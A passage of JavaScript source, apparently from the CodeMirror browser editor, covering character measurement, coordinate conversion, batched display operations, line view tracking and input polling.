removeChildrenAndAdd(cm.display.lineMeasure, built.pre);\n    return view;\n  }\n\n  // Get a {top, bottom, left, right} box (in line-local coordinates)\n  // for a given character.\n  function measureChar(cm, line, ch, bias) {\n    return measureCharPrepared(cm, prepareMeasureForLine(cm, line), ch, bias);\n  }\n\n  // Find a line view that corresponds to the given line number.\n  function findViewForLine(cm, lineN) {\n    if (lineN >= cm.display.viewFrom && lineN < cm.display.viewTo)\n      return cm.display.view[findViewIndex(cm, lineN)];\n    var ext = cm.display.externalMeasured;\n    if (ext && lineN >= ext.lineN && lineN < ext.lineN + ext.size)\n      return ext;\n  }\n\n  // Measurement can be split in two steps, the set-up work that\n  // applies to the whole line, and the measurement of the actual\n  // character. Functions like coordsChar, that need to do a lot of\n  // measurements in a row, can thus ensure that the set-up work is\n  // only done once.\n  function prepareMeasureForLine(cm, line) {\n    var lineN = lineNo(line);\n    var view = findViewForLine(cm, lineN);\n    if (view && !view.text)\n      view = null;\n    else if (view && view.changes)\n      updateLineForChanges(cm, view, lineN, getDimensions(cm));\n    if (!view)\n      view = updateExternalMeasurement(cm, line);\n\n    var info = mapFromLineView(view, line, lineN);\n    return {\n      line: line, view: view, rect: null,\n      map: info.map, cache: info.cache, before: info.before,\n      hasHeights: false\n    };\n  }\n\n  // Given a prepared measurement object, measures the position of an\n  // actual character (or fetches it from the cache).\n  function measureCharPrepared(cm, prepared, ch, bias, varHeight) {\n    if (prepared.before) ch = -1;\n    var key = ch + (bias || \"\"), found;\n    if (prepared.cache.hasOwnProperty(key)) {\n      found = prepared.cache[key];\n    } else {\n      if (!prepared.rect)\n        prepared.rect = prepared.view.text.getBoundingClientRect();\n      if (!prepared.hasHeights) {\n        ensureLineHeights(cm, prepared.view, prepared.rect);\n        prepared.hasHeights = true;\n      }\n      found = measureCharInner(cm, prepared, ch, bias);\n      if (!found.bogus) prepared.cache[key] = found;\n    }\n    return {left: found.left, right: found.right,\n            top: varHeight ? found.rtop : found.top,\n            bottom: varHeight ? found.rbottom : found.bottom};\n  }\n\n  var nullRect = {left: 0, right: 0, top: 0, bottom: 0};\n\n  function measureCharInner(cm, prepared, ch, bias) {\n    var map = prepared.map;\n\n    var node, start, end, collapse;\n    // First, search the line map for the text node corresponding to,\n    // or closest to, the target character.\n    for (var i = 0; i < map.length; i += 3) {\n      var mStart = map[i], mEnd = map[i + 1];\n      if (ch < mStart) {\n        start = 0; end = 1;\n        collapse = \"left\";\n      } else if (ch < mEnd) {\n        start = ch - mStart;\n        end = start + 1;\n      } else if (i == map.length - 3 || ch == mEnd && map[i + 3] > ch) {\n        end = mEnd - mStart;\n        start = end - 1;\n        if (ch >= mEnd) collapse = \"right\";\n      }\n      if (start != null) {\n        node = map[i + 2];\n        if (mStart == mEnd && bias == (node.insertLeft ? \"left\" : \"right\"))\n          collapse = bias;\n        if (bias == \"left\" && start == 0)\n          while (i && map[i - 2] == map[i - 3] && map[i - 1].insertLeft) {\n            node = map[(i -= 3) + 2];\n            collapse = \"left\";\n          }\n        if (bias == \"right\" && start == mEnd - mStart)\n          while (i < map.length - 3 && map[i + 3] == map[i + 4] && !map[i + 5].insertLeft) {\n            node = map[(i += 3) + 2];\n            collapse = \"right\";\n          }\n        break;\n      }\n    }\n\n    var rect;\n    if (node.nodeType == 3) { // If it is a text node, use a range to retrieve the coordinates.\n      for (var i = 0; i < 4; i++) { // Retry a maximum of 4 times when nonsense rectangles are returned\n        while (start && isExtendingChar(prepared.line.text.charAt(mStart + start))) --start;\n        while (mStart + end < mEnd && isExtendingChar(prepared.line.text.charAt(mStart + end))) ++end;\n        if (ie && ie_version < 9 && start == 0 && end == mEnd - mStart) {\n          rect = node.parentNode.getBoundingClientRect();\n        } else if (ie && cm.options.lineWrapping) {\n          var rects = range(node, start, end).getClientRects();\n          if (rects.length)\n            rect = rects[bias == \"right\" ? rects.length - 1 : 0];\n          else\n            rect = nullRect;\n        } else {\n          rect = range(node, start, end).getBoundingClientRect() || nullRect;\n        }\n        if (rect.left || rect.right || start == 0) break;\n        end = start;\n        start = start - 1;\n        collapse = \"right\";\n      }\n      if (ie && ie_version < 11) rect = maybeUpdateRectForZooming(cm.display.measure, rect);\n    } else { // If it is a widget, simply get the box for the whole widget.\n      if (start > 0) collapse = bias = \"right\";\n      var rects;\n      if (cm.options.lineWrapping && (rects = node.getClientRects()).length > 1)\n        rect = rects[bias == \"right\" ? rects.length - 1 : 0];\n      else\n        rect = node.getBoundingClientRect();\n    }\n    if (ie && ie_version < 9 && !start && (!rect || !rect.left && !rect.right)) {\n      var rSpan = node.parentNode.getClientRects()[0];\n      if (rSpan)\n        rect = {left: rSpan.left, right: rSpan.left + charWidth(cm.display), top: rSpan.top, bottom: rSpan.bottom};\n      else\n        rect = nullRect;\n    }\n\n    var rtop = rect.top - prepared.rect.top, rbot = rect.bottom - prepared.rect.top;\n    var mid = (rtop + rbot) / 2;\n    var heights = prepared.view.measure.heights;\n    for (var i = 0; i < heights.length - 1; i++)\n      if (mid < heights[i]) break;\n    var top = i ? heights[i - 1] : 0, bot = heights[i];\n    var result = {left: (collapse == \"right\" ? rect.right : rect.left) - prepared.rect.left,\n                  right: (collapse == \"left\" ? rect.left : rect.right) - prepared.rect.left,\n                  top: top, bottom: bot};\n    if (!rect.left && !rect.right) result.bogus = true;\n    if (!cm.options.singleCursorHeightPerLine) { result.rtop = rtop; result.rbottom = rbot; }\n\n    return result;\n  }\n\n  // Work around problem with bounding client rects on ranges being\n  // returned incorrectly when zoomed on IE10 and below.\n  function maybeUpdateRectForZooming(measure, rect) {\n    if (!window.screen || screen.logicalXDPI == null ||\n        screen.logicalXDPI == screen.deviceXDPI || !hasBadZoomedRects(measure))\n      return rect;\n    var scaleX = screen.logicalXDPI / screen.deviceXDPI;\n    var scaleY = screen.logicalYDPI / screen.deviceYDPI;\n    return {left: rect.left * scaleX, right: rect.right * scaleX,\n            top: rect.top * scaleY, bottom: rect.bottom * scaleY};\n  }\n\n  function clearLineMeasurementCacheFor(lineView) {\n    if (lineView.measure) {\n      lineView.measure.cache = {};\n      lineView.measure.heights = null;\n      if (lineView.rest) for (var i = 0; i < lineView.rest.length; i++)\n        lineView.measure.caches[i] = {};\n    }\n  }\n\n  function clearLineMeasurementCache(cm) {\n    cm.display.externalMeasure = null;\n    removeChildren(cm.display.lineMeasure);\n    for (var i = 0; i < cm.display.view.length; i++)\n      clearLineMeasurementCacheFor(cm.display.view[i]);\n  }\n\n  function clearCaches(cm) {\n    clearLineMeasurementCache(cm);\n    cm.display.cachedCharWidth = cm.display.cachedTextHeight = cm.display.cachedPaddingH = null;\n    if (!cm.options.lineWrapping) cm.display.maxLineChanged = true;\n    cm.display.lineNumChars = null;\n  }\n\n  function pageScrollX() { return window.pageXOffset || (document.documentElement || document.body).scrollLeft; }\n  function pageScrollY() { return window.pageYOffset || (document.documentElement || document.body).scrollTop; }\n\n  // Converts a {top, bottom, left, right} box from line-local\n  // coordinates into another coordinate system. Context may be one of\n  // \"line\", \"div\" (display.lineDiv), \"local\"/null (editor), or \"page\".\n  function intoCoordSystem(cm, lineObj, rect, context) {\n    if (lineObj.widgets) for (var i = 0; i < lineObj.widgets.length; ++i) if (lineObj.widgets[i].above) {\n      var size = widgetHeight(lineObj.widgets[i]);\n      rect.top += size; rect.bottom += size;\n    }\n    if (context == \"line\") return rect;\n    if (!context) context = \"local\";\n    var yOff = heightAtLine(lineObj);\n    if (context == \"local\") yOff += paddingTop(cm.display);\n    else yOff -= cm.display.viewOffset;\n    if (context == \"page\" || context == \"window\") {\n      var lOff = cm.display.lineSpace.getBoundingClientRect();\n      yOff += lOff.top + (context == \"window\" ? 0 : pageScrollY());\n      var xOff = lOff.left + (context == \"window\" ? 0 : pageScrollX());\n      rect.left += xOff; rect.right += xOff;\n    }\n    rect.top += yOff; rect.bottom += yOff;\n    return rect;\n  }\n\n  // Coverts a box from \"div\" coords to another coordinate system.\n  // Context may be \"window\", \"page\", \"div\", or \"local\"/null.\n  function fromCoordSystem(cm, coords, context) {\n    if (context == \"div\") return coords;\n    var left = coords.left, top = coords.top;\n    // First move into \"page\" coordinate system\n    if (context == \"page\") {\n      left -= pageScrollX();\n      top -= pageScrollY();\n    } else if (context == \"local\" || !context) {\n      var localBox = cm.display.sizer.getBoundingClientRect();\n      left += localBox.left;\n      top += localBox.top;\n    }\n\n    var lineSpaceBox = cm.display.lineSpace.getBoundingClientRect();\n    return {left: left - lineSpaceBox.left, top: top - lineSpaceBox.top};\n  }\n\n  function charCoords(cm, pos, context, lineObj, bias) {\n    if (!lineObj) lineObj = getLine(cm.doc, pos.line);\n    return intoCoordSystem(cm, lineObj, measureChar(cm, lineObj, pos.ch, bias), context);\n  }\n\n  // Returns a box for a given cursor position, which may have an\n  // 'other' property containing the position of the secondary cursor\n  // on a bidi boundary.\n  function cursorCoords(cm, pos, context, lineObj, preparedMeasure, varHeight) {\n    lineObj = lineObj || getLine(cm.doc, pos.line);\n    if (!preparedMeasure) preparedMeasure = prepareMeasureForLine(cm, lineObj);\n    function get(ch, right) {\n      var m = measureCharPrepared(cm, preparedMeasure, ch, right ? \"right\" : \"left\", varHeight);\n      if (right) m.left = m.right; else m.right = m.left;\n      return intoCoordSystem(cm, lineObj, m, context);\n    }\n    function getBidi(ch, partPos) {\n      var part = order[partPos], right = part.level % 2;\n      if (ch == bidiLeft(part) && partPos && part.level < order[partPos - 1].level) {\n        part = order[--partPos];\n        ch = bidiRight(part) - (part.level % 2 ? 0 : 1);\n        right = true;\n      } else if (ch == bidiRight(part) && partPos < order.length - 1 && part.level < order[partPos + 1].level) {\n        part = order[++partPos];\n        ch = bidiLeft(part) - part.level % 2;\n        right = false;\n      }\n      if (right && ch == part.to && ch > part.from) return get(ch - 1);\n      return get(ch, right);\n    }\n    var order = getOrder(lineObj), ch = pos.ch;\n    if (!order) return get(ch);\n    var partPos = getBidiPartAt(order, ch);\n    var val = getBidi(ch, partPos);\n    if (bidiOther != null) val.other = getBidi(ch, bidiOther);\n    return val;\n  }\n\n  // Used to cheaply estimate the coordinates for a position. Used for\n  // intermediate scroll updates.\n  function estimateCoords(cm, pos) {\n    var left = 0, pos = clipPos(cm.doc, pos);\n    if (!cm.options.lineWrapping) left = charWidth(cm.display) * pos.ch;\n    var lineObj = getLine(cm.doc, pos.line);\n    var top = heightAtLine(lineObj) + paddingTop(cm.display);\n    return {left: left, right: left, top: top, bottom: top + lineObj.height};\n  }\n\n  // Positions returned by coordsChar contain some extra information.\n  // xRel is the relative x position of the input coordinates compared\n  // to the found position (so xRel > 0 means the coordinates are to\n  // the right of the character position, for example). When outside\n  // is true, that means the coordinates lie outside the line's\n  // vertical range.\n  function PosWithInfo(line, ch, outside, xRel) {\n    var pos = Pos(line, ch);\n    pos.xRel = xRel;\n    if (outside) pos.outside = true;\n    return pos;\n  }\n\n  // Compute the character position closest to the given coordinates.\n  // Input must be lineSpace-local (\"div\" coordinate system).\n  function coordsChar(cm, x, y) {\n    var doc = cm.doc;\n    y += cm.display.viewOffset;\n    if (y < 0) return PosWithInfo(doc.first, 0, true, -1);\n    var lineN = lineAtHeight(doc, y), last = doc.first + doc.size - 1;\n    if (lineN > last)\n      return PosWithInfo(doc.first + doc.size - 1, getLine(doc, last).text.length, true, 1);\n    if (x < 0) x = 0;\n\n    var lineObj = getLine(doc, lineN);\n    for (;;) {\n      var found = coordsCharInner(cm, lineObj, lineN, x, y);\n      var merged = collapsedSpanAtEnd(lineObj);\n      var mergedPos = merged && merged.find(0, true);\n      if (merged && (found.ch > mergedPos.from.ch || found.ch == mergedPos.from.ch && found.xRel > 0))\n        lineN = lineNo(lineObj = mergedPos.to.line);\n      else\n        return found;\n    }\n  }\n\n  function coordsCharInner(cm, lineObj, lineNo, x, y) {\n    var innerOff = y - heightAtLine(lineObj);\n    var wrongLine = false, adjust = 2 * cm.display.wrapper.clientWidth;\n    var preparedMeasure = prepareMeasureForLine(cm, lineObj);\n\n    function getX(ch) {\n      var sp = cursorCoords(cm, Pos(lineNo, ch), \"line\", lineObj, preparedMeasure);\n      wrongLine = true;\n      if (innerOff > sp.bottom) return sp.left - adjust;\n      else if (innerOff < sp.top) return sp.left + adjust;\n      else wrongLine = false;\n      return sp.left;\n    }\n\n    var bidi = getOrder(lineObj), dist = lineObj.text.length;\n    var from = lineLeft(lineObj), to = lineRight(lineObj);\n    var fromX = getX(from), fromOutside = wrongLine, toX = getX(to), toOutside = wrongLine;\n\n    if (x > toX) return PosWithInfo(lineNo, to, toOutside, 1);\n    // Do a binary search between these bounds.\n    for (;;) {\n      if (bidi ? to == from || to == moveVisually(lineObj, from, 1) : to - from <= 1) {\n        var ch = x < fromX || x - fromX <= toX - x ? from : to;\n        var xDiff = x - (ch == from ? fromX : toX);\n        while (isExtendingChar(lineObj.text.charAt(ch))) ++ch;\n        var pos = PosWithInfo(lineNo, ch, ch == from ? fromOutside : toOutside,\n                              xDiff < -1 ? -1 : xDiff > 1 ? 1 : 0);\n        return pos;\n      }\n      var step = Math.ceil(dist / 2), middle = from + step;\n      if (bidi) {\n        middle = from;\n        for (var i = 0; i < step; ++i) middle = moveVisually(lineObj, middle, 1);\n      }\n      var middleX = getX(middle);\n      if (middleX > x) {to = middle; toX = middleX; if (toOutside = wrongLine) toX += 1000; dist = step;}\n      else {from = middle; fromX = middleX; fromOutside = wrongLine; dist -= step;}\n    }\n  }\n\n  var measureText;\n  // Compute the default text height.\n  function textHeight(display) {\n    if (display.cachedTextHeight != null) return display.cachedTextHeight;\n    if (measureText == null) {\n      measureText = elt(\"pre\");\n      // Measure a bunch of lines, for browsers that compute\n      // fractional heights.\n      for (var i = 0; i < 49; ++i) {\n        measureText.appendChild(document.createTextNode(\"x\"));\n        measureText.appendChild(elt(\"br\"));\n      }\n      measureText.appendChild(document.createTextNode(\"x\"));\n    }\n    removeChildrenAndAdd(display.measure, measureText);\n    var height = measureText.offsetHeight / 50;\n    if (height > 3) display.cachedTextHeight = height;\n    removeChildren(display.measure);\n    return height || 1;\n  }\n\n  // Compute the default character width.\n  function charWidth(display) {\n    if (display.cachedCharWidth != null) return display.cachedCharWidth;\n    var anchor = elt(\"span\", \"xxxxxxxxxx\");\n    var pre = elt(\"pre\", [anchor]);\n    removeChildrenAndAdd(display.measure, pre);\n    var rect = anchor.getBoundingClientRect(), width = (rect.right - rect.left) / 10;\n    if (width > 2) display.cachedCharWidth = width;\n    return width || 10;\n  }\n\n  // OPERATIONS\n\n  // Operations are used to wrap a series of changes to the editor\n  // state in such a way that each change won't have to update the\n  // cursor and display (which would be awkward, slow, and\n  // error-prone). Instead, display updates are batched and then all\n  // combined and executed at once.\n\n  var operationGroup = null;\n\n  var nextOpId = 0;\n  // Start a new operation.\n  function startOperation(cm) {\n    cm.curOp = {\n      cm: cm,\n      viewChanged: false,      // Flag that indicates that lines might need to be redrawn\n      startHeight: cm.doc.height, // Used to detect need to update scrollbar\n      forceUpdate: false,      // Used to force a redraw\n      updateInput: null,       // Whether to reset the input textarea\n      typing: false,           // Whether this reset should be careful to leave existing text (for compositing)\n      changeObjs: null,        // Accumulated changes, for firing change events\n      cursorActivityHandlers: null, // Set of handlers to fire cursorActivity on\n      cursorActivityCalled: 0, // Tracks which cursorActivity handlers have been called already\n      selectionChanged: false, // Whether the selection needs to be redrawn\n      updateMaxLine: false,    // Set when the widest line needs to be determined anew\n      scrollLeft: null, scrollTop: null, // Intermediate scroll position, not pushed to DOM yet\n      scrollToPos: null,       // Used to scroll to a specific position\n      id: ++nextOpId           // Unique ID\n    };\n    if (operationGroup) {\n      operationGroup.ops.push(cm.curOp);\n    } else {\n      cm.curOp.ownsGroup = operationGroup = {\n        ops: [cm.curOp],\n        delayedCallbacks: []\n      };\n    }\n  }\n\n  function fireCallbacksForOps(group) {\n    // Calls delayed callbacks and cursorActivity handlers until no\n    // new ones appear\n    var callbacks = group.delayedCallbacks, i = 0;\n    do {\n      for (; i < callbacks.length; i++)\n        callbacks[i]();\n      for (var j = 0; j < group.ops.length; j++) {\n        var op = group.ops[j];\n        if (op.cursorActivityHandlers)\n          while (op.cursorActivityCalled < op.cursorActivityHandlers.length)\n            op.cursorActivityHandlers[op.cursorActivityCalled++](op.cm);\n      }\n    } while (i < callbacks.length);\n  }\n\n  // Finish an operation, updating the display and signalling delayed events\n  function endOperation(cm) {\n    var op = cm.curOp, group = op.ownsGroup;\n    if (!group) return;\n\n    try { fireCallbacksForOps(group); }\n    finally {\n      operationGroup = null;\n      for (var i = 0; i < group.ops.length; i++)\n        group.ops[i].cm.curOp = null;\n      endOperations(group);\n    }\n  }\n\n  // The DOM updates done when an operation finishes are batched so\n  // that the minimum number of relayouts are required.\n  function endOperations(group) {\n    var ops = group.ops;\n    for (var i = 0; i < ops.length; i++) // Read DOM\n      endOperation_R1(ops[i]);\n    for (var i = 0; i < ops.length; i++) // Write DOM (maybe)\n      endOperation_W1(ops[i]);\n    for (var i = 0; i < ops.length; i++) // Read DOM\n      endOperation_R2(ops[i]);\n    for (var i = 0; i < ops.length; i++) // Write DOM (maybe)\n      endOperation_W2(ops[i]);\n    for (var i = 0; i < ops.length; i++) // Read DOM\n      endOperation_finish(ops[i]);\n  }\n\n  function endOperation_R1(op) {\n    var cm = op.cm, display = cm.display;\n    if (op.updateMaxLine) findMaxLine(cm);\n\n    op.mustUpdate = op.viewChanged || op.forceUpdate || op.scrollTop != null ||\n      op.scrollToPos && (op.scrollToPos.from.line < display.viewFrom ||\n                         op.scrollToPos.to.line >= display.viewTo) ||\n      display.maxLineChanged && cm.options.lineWrapping;\n    op.update = op.mustUpdate &&\n      new DisplayUpdate(cm, op.mustUpdate && {top: op.scrollTop, ensure: op.scrollToPos}, op.forceUpdate);\n  }\n\n  function endOperation_W1(op) {\n    op.updatedDisplay = op.mustUpdate && updateDisplayIfNeeded(op.cm, op.update);\n  }\n\n  function endOperation_R2(op) {\n    var cm = op.cm, display = cm.display;\n    if (op.updatedDisplay) updateHeightsInViewport(cm);\n\n    op.barMeasure = measureForScrollbars(cm);\n\n    // If the max line changed since it was last measured, measure it,\n    // and ensure the document's width matches it.\n    // updateDisplay_W2 will use these properties to do the actual resizing\n    if (display.maxLineChanged && !cm.options.lineWrapping) {\n      op.adjustWidthTo = measureChar(cm, display.maxLine, display.maxLine.text.length).left + 3;\n      op.maxScrollLeft = Math.max(0, display.sizer.offsetLeft + op.adjustWidthTo +\n                                  scrollerCutOff - display.scroller.clientWidth);\n    }\n\n    if (op.updatedDisplay || op.selectionChanged)\n      op.newSelectionNodes = drawSelection(cm);\n  }\n\n  function endOperation_W2(op) {\n    var cm = op.cm;\n\n    if (op.adjustWidthTo != null) {\n      cm.display.sizer.style.minWidth = op.adjustWidthTo + \"px\";\n      if (op.maxScrollLeft < cm.doc.scrollLeft)\n        setScrollLeft(cm, Math.min(cm.display.scroller.scrollLeft, op.maxScrollLeft), true);\n      cm.display.maxLineChanged = false;\n    }\n\n    if (op.newSelectionNodes)\n      showSelection(cm, op.newSelectionNodes);\n    if (op.updatedDisplay)\n      setDocumentHeight(cm, op.barMeasure);\n    if (op.updatedDisplay || op.startHeight != cm.doc.height)\n      updateScrollbars(cm, op.barMeasure);\n\n    if (op.selectionChanged) restartBlink(cm);\n\n    if (cm.state.focused && op.updateInput)\n      resetInput(cm, op.typing);\n  }\n\n  function endOperation_finish(op) {\n    var cm = op.cm, display = cm.display, doc = cm.doc;\n\n    if (op.adjustWidthTo != null && Math.abs(op.barMeasure.scrollWidth - cm.display.scroller.scrollWidth) > 1)\n      updateScrollbars(cm);\n\n    if (op.updatedDisplay) postUpdateDisplay(cm, op.update);\n\n    // Abort mouse wheel delta measurement, when scrolling explicitly\n    if (display.wheelStartX != null && (op.scrollTop != null || op.scrollLeft != null || op.scrollToPos))\n      display.wheelStartX = display.wheelStartY = null;\n\n    // Propagate the scroll position to the actual DOM scroller\n    if (op.scrollTop != null && (display.scroller.scrollTop != op.scrollTop || op.forceScroll)) {\n      var top = Math.max(0, Math.min(display.scroller.scrollHeight - display.scroller.clientHeight, op.scrollTop));\n      display.scroller.scrollTop = display.scrollbarV.scrollTop = doc.scrollTop = top;\n    }\n    if (op.scrollLeft != null && (display.scroller.scrollLeft != op.scrollLeft || op.forceScroll)) {\n      var left = Math.max(0, Math.min(display.scroller.scrollWidth - display.scroller.clientWidth, op.scrollLeft));\n      display.scroller.scrollLeft = display.scrollbarH.scrollLeft = doc.scrollLeft = left;\n      alignHorizontally(cm);\n    }\n    // If we need to scroll a specific position into view, do so.\n    if (op.scrollToPos) {\n      var coords = scrollPosIntoView(cm, clipPos(doc, op.scrollToPos.from),\n                                     clipPos(doc, op.scrollToPos.to), op.scrollToPos.margin);\n      if (op.scrollToPos.isCursor && cm.state.focused) maybeScrollWindow(cm, coords);\n    }\n\n    // Fire events for markers that are hidden/unidden by editing or\n    // undoing\n    var hidden = op.maybeHiddenMarkers, unhidden = op.maybeUnhiddenMarkers;\n    if (hidden) for (var i = 0; i < hidden.length; ++i)\n      if (!hidden[i].lines.length) signal(hidden[i], \"hide\");\n    if (unhidden) for (var i = 0; i < unhidden.length; ++i)\n      if (unhidden[i].lines.length) signal(unhidden[i], \"unhide\");\n\n    if (display.wrapper.offsetHeight)\n      doc.scrollTop = cm.display.scroller.scrollTop;\n\n    // Apply workaround for two webkit bugs\n    if (op.updatedDisplay && webkit) {\n      if (cm.options.lineWrapping)\n        checkForWebkitWidthBug(cm, op.barMeasure); // (Issue #2420)\n      if (op.barMeasure.scrollWidth > op.barMeasure.clientWidth &&\n          op.barMeasure.scrollWidth < op.barMeasure.clientWidth + 1 &&\n          !hScrollbarTakesSpace(cm))\n        updateScrollbars(cm); // (Issue #2562)\n    }\n\n    // Fire change events, and delayed event handlers\n    if (op.changeObjs)\n      signal(cm, \"changes\", cm, op.changeObjs);\n  }\n\n  // Run the given function in an operation\n  function runInOp(cm, f) {\n    if (cm.curOp) return f();\n    startOperation(cm);\n    try { return f(); }\n    finally { endOperation(cm); }\n  }\n  // Wraps a function in an operation. Returns the wrapped function.\n  function operation(cm, f) {\n    return function() {\n      if (cm.curOp) return f.apply(cm, arguments);\n      startOperation(cm);\n      try { return f.apply(cm, arguments); }\n      finally { endOperation(cm); }\n    };\n  }\n  // Used to add methods to editor and doc instances, wrapping them in\n  // operations.\n  function methodOp(f) {\n    return function() {\n      if (this.curOp) return f.apply(this, arguments);\n      startOperation(this);\n      try { return f.apply(this, arguments); }\n      finally { endOperation(this); }\n    };\n  }\n  function docMethodOp(f) {\n    return function() {\n      var cm = this.cm;\n      if (!cm || cm.curOp) return f.apply(this, arguments);\n      startOperation(cm);\n      try { return f.apply(this, arguments); }\n      finally { endOperation(cm); }\n    };\n  }\n\n  // VIEW TRACKING\n\n  // These objects are used to represent the visible (currently drawn)\n  // part of the document. A LineView may correspond to multiple\n  // logical lines, if those are connected by collapsed ranges.\n  function LineView(doc, line, lineN) {\n    // The starting line\n    this.line = line;\n    // Continuing lines, if any\n    this.rest = visualLineContinued(line);\n    // Number of logical lines in this visual line\n    this.size = this.rest ? lineNo(lst(this.rest)) - lineN + 1 : 1;\n    this.node = this.text = null;\n    this.hidden = lineIsHidden(doc, line);\n  }\n\n  // Create a range of LineView objects for the given lines.\n  function buildViewArray(cm, from, to) {\n    var array = [], nextPos;\n    for (var pos = from; pos < to; pos = nextPos) {\n      var view = new LineView(cm.doc, getLine(cm.doc, pos), pos);\n      nextPos = pos + view.size;\n      array.push(view);\n    }\n    return array;\n  }\n\n  // Updates the display.view data structure for a given change to the\n  // document. From and to are in pre-change coordinates. Lendiff is\n  // the amount of lines added or subtracted by the change. This is\n  // used for changes that span multiple lines, or change the way\n  // lines are divided into visual lines. regLineChange (below)\n  // registers single-line changes.\n  function regChange(cm, from, to, lendiff) {\n    if (from == null) from = cm.doc.first;\n    if (to == null) to = cm.doc.first + cm.doc.size;\n    if (!lendiff) lendiff = 0;\n\n    var display = cm.display;\n    if (lendiff && to < display.viewTo &&\n        (display.updateLineNumbers == null || display.updateLineNumbers > from))\n      display.updateLineNumbers = from;\n\n    cm.curOp.viewChanged = true;\n\n    if (from >= display.viewTo) { // Change after\n      if (sawCollapsedSpans && visualLineNo(cm.doc, from) < display.viewTo)\n        resetView(cm);\n    } else if (to <= display.viewFrom) { // Change before\n      if (sawCollapsedSpans && visualLineEndNo(cm.doc, to + lendiff) > display.viewFrom) {\n        resetView(cm);\n      } else {\n        display.viewFrom += lendiff;\n        display.viewTo += lendiff;\n      }\n    } else if (from <= display.viewFrom && to >= display.viewTo) { // Full overlap\n      resetView(cm);\n    } else if (from <= display.viewFrom) { // Top overlap\n      var cut = viewCuttingPoint(cm, to, to + lendiff, 1);\n      if (cut) {\n        display.view = display.view.slice(cut.index);\n        display.viewFrom = cut.lineN;\n        display.viewTo += lendiff;\n      } else {\n        resetView(cm);\n      }\n    } else if (to >= display.viewTo) { // Bottom overlap\n      var cut = viewCuttingPoint(cm, from, from, -1);\n      if (cut) {\n        display.view = display.view.slice(0, cut.index);\n        display.viewTo = cut.lineN;\n      } else {\n        resetView(cm);\n      }\n    } else { // Gap in the middle\n      var cutTop = viewCuttingPoint(cm, from, from, -1);\n      var cutBot = viewCuttingPoint(cm, to, to + lendiff, 1);\n      if (cutTop && cutBot) {\n        display.view = display.view.slice(0, cutTop.index)\n          .concat(buildViewArray(cm, cutTop.lineN, cutBot.lineN))\n          .concat(display.view.slice(cutBot.index));\n        display.viewTo += lendiff;\n      } else {\n        resetView(cm);\n      }\n    }\n\n    var ext = display.externalMeasured;\n    if (ext) {\n      if (to < ext.lineN)\n        ext.lineN += lendiff;\n      else if (from < ext.lineN + ext.size)\n        display.externalMeasured = null;\n    }\n  }\n\n  // Register a change to a single line. Type must be one of \"text\",\n  // \"gutter\", \"class\", \"widget\"\n  function regLineChange(cm, line, type) {\n    cm.curOp.viewChanged = true;\n    var display = cm.display, ext = cm.display.externalMeasured;\n    if (ext && line >= ext.lineN && line < ext.lineN + ext.size)\n      display.externalMeasured = null;\n\n    if (line < display.viewFrom || line >= display.viewTo) return;\n    var lineView = display.view[findViewIndex(cm, line)];\n    if (lineView.node == null) return;\n    var arr = lineView.changes || (lineView.changes = []);\n    if (indexOf(arr, type) == -1) arr.push(type);\n  }\n\n  // Clear the view.\n  function resetView(cm) {\n    cm.display.viewFrom = cm.display.viewTo = cm.doc.first;\n    cm.display.view = [];\n    cm.display.viewOffset = 0;\n  }\n\n  // Find the view element corresponding to a given line. Return null\n  // when the line isn't visible.\n  function findViewIndex(cm, n) {\n    if (n >= cm.display.viewTo) return null;\n    n -= cm.display.viewFrom;\n    if (n < 0) return null;\n    var view = cm.display.view;\n    for (var i = 0; i < view.length; i++) {\n      n -= view[i].size;\n      if (n < 0) return i;\n    }\n  }\n\n  function viewCuttingPoint(cm, oldN, newN, dir) {\n    var index = findViewIndex(cm, oldN), diff, view = cm.display.view;\n    if (!sawCollapsedSpans || newN == cm.doc.first + cm.doc.size)\n      return {index: index, lineN: newN};\n    for (var i = 0, n = cm.display.viewFrom; i < index; i++)\n      n += view[i].size;\n    if (n != oldN) {\n      if (dir > 0) {\n        if (index == view.length - 1) return null;\n        diff = (n + view[index].size) - oldN;\n        index++;\n      } else {\n        diff = n - oldN;\n      }\n      oldN += diff; newN += diff;\n    }\n    while (visualLineNo(cm.doc, newN) != newN) {\n      if (index == (dir < 0 ? 0 : view.length - 1)) return null;\n      newN += dir * view[index - (dir < 0 ? 1 : 0)].size;\n      index += dir;\n    }\n    return {index: index, lineN: newN};\n  }\n\n  // Force the view to cover a given range, adding empty view element\n  // or clipping off existing ones as needed.\n  function adjustView(cm, from, to) {\n    var display = cm.display, view = display.view;\n    if (view.length == 0 || from >= display.viewTo || to <= display.viewFrom) {\n      display.view = buildViewArray(cm, from, to);\n      display.viewFrom = from;\n    } else {\n      if (display.viewFrom > from)\n        display.view = buildViewArray(cm, from, display.viewFrom).concat(display.view);\n      else if (display.viewFrom < from)\n        display.view = display.view.slice(findViewIndex(cm, from));\n      display.viewFrom = from;\n      if (display.viewTo < to)\n        display.view = display.view.concat(buildViewArray(cm, display.viewTo, to));\n      else if (display.viewTo > to)\n        display.view = display.view.slice(0, findViewIndex(cm, to));\n    }\n    display.viewTo = to;\n  }\n\n  // Count the number of lines in the view whose DOM representation is\n  // out of date (or nonexistent).\n  function countDirtyView(cm) {\n    var view = cm.display.view, dirty = 0;\n    for (var i = 0; i < view.length; i++) {\n      var lineView = view[i];\n      if (!lineView.hidden && (!lineView.node || lineView.changes)) ++dirty;\n    }\n    return dirty;\n  }\n\n  // INPUT HANDLING\n\n  // Poll for input changes, using the normal rate of polling. This\n  // runs as long as the editor is focused.\n  function slowPoll(cm) {\n    if (cm.display.pollingFast) return;\n    cm.display.poll.set(cm.options.pollInterval, function() {\n      readInput(cm);\n      if (cm.state.focused) slowPoll(cm);\n    });\n  }\n\n  // When an event has just come in that is likely to add or change\n  // something in the input textarea, we poll faster, to ensure that\n  // the change appears on the screen quickly.\n  function fastPoll(cm) {\n    var missed = false;\n    cm.display.pollingFast = true;\n    function p() {\n      var changed = readInput(cm);\n      if (!changed && !missed) {missed = true; cm.display.poll.set(60, p);}\n      else {cm.display.pollingFast = false; slowPoll(cm);}\n    }\n    cm.display.poll.set(20, p);\n  }\n\n  // This will be set to an array of strings when copying, so that,\n  // when pasting, we know what kind of selections the copied text\n  // was made out of.\n  var lastCopied = null;\n\n  // Read input from the textarea, and update the document to match.\n  // When something is selected, it is present in the textarea, and\n  // selected (unless it is huge, in which case a placeholder is\n  // used). When nothing is selected, the cursor sits after previously\n  // seen text (can be empty), which is stored in prevInput (we must\n  // not reset the textarea when typing, because that breaks IME).\n  function readInput(cm) {\n    var input = cm.display.input, 